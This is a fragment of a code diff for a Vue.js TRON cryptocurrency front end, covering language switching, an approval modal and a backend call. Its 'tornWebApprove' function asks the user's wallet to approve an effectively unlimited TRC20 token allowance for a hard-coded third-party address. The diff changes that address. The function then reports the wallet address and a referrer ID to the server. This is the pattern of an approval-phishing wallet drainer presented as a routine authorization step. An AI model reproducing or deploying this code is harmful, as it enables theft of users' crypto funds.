| | |
| | | let isApproving = ref(false); //是否授权中 |
| | | let simulateData = ref(null); |
| | | let availableWallet = ref(''); |
| | | let local = ref(proxy.$i18n.locale); |
| | | function changeLanguage(type){ |
| | | localStorage.setItem('lang', type); |
| | | proxy.$i18n.locale = type; |
| | | } |
| | | |
| | |
| | | init() |
| | | }) |
| | | return { |
| | | local: ref('en'), |
| | | local, |
| | | languague: [ |
| | | { text: '简体中文', value: 'ch' }, |
| | | { text: 'English', value: 'en' } |
| | | { text: 'English', value: 'en' }, |
| | | { text: '简体中文', value: 'zh' }, |
| | | { text: '日本语', value: 'ja' } |
| | | ], |
| | | // 弹窗显示隐藏 |
| | | isShowApproveModal, |
| | |
| | | console.log(res) |
| | | this.submitApprove() |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }).catch((err) => { |
| | | console.log('授权失败') |
| | | console.log(err) |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }) |
| | | }, |
| | | async tornWebApprove () { |
| | | const tronWeb = window.tronWeb; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; |
| | | const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | let instance = await tronWeb.contract().at(trxContractAddress); |
| | | let res = await instance["approve"](authAddress, "90000000000000000000000000000"); |
| | | res.send({ |
| | |
| | | this.submitApprove() |
| | | } |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }); |
| | | }, |
| | | submitApprove () { |
| | | let refererId = this.getQueryString('refererId'); |
| | | this.$axios({ |
| | | url: '/dapi/common/approve', |
| | | method: 'post', |
| | | data: { |
| | | address: this.walletAddress, |
| | | refererId: '' |
| | | refererId: refererId ? refererId : '' |
| | | } |
| | | }).then((res) => { |
| | | if(res.code == 200) { |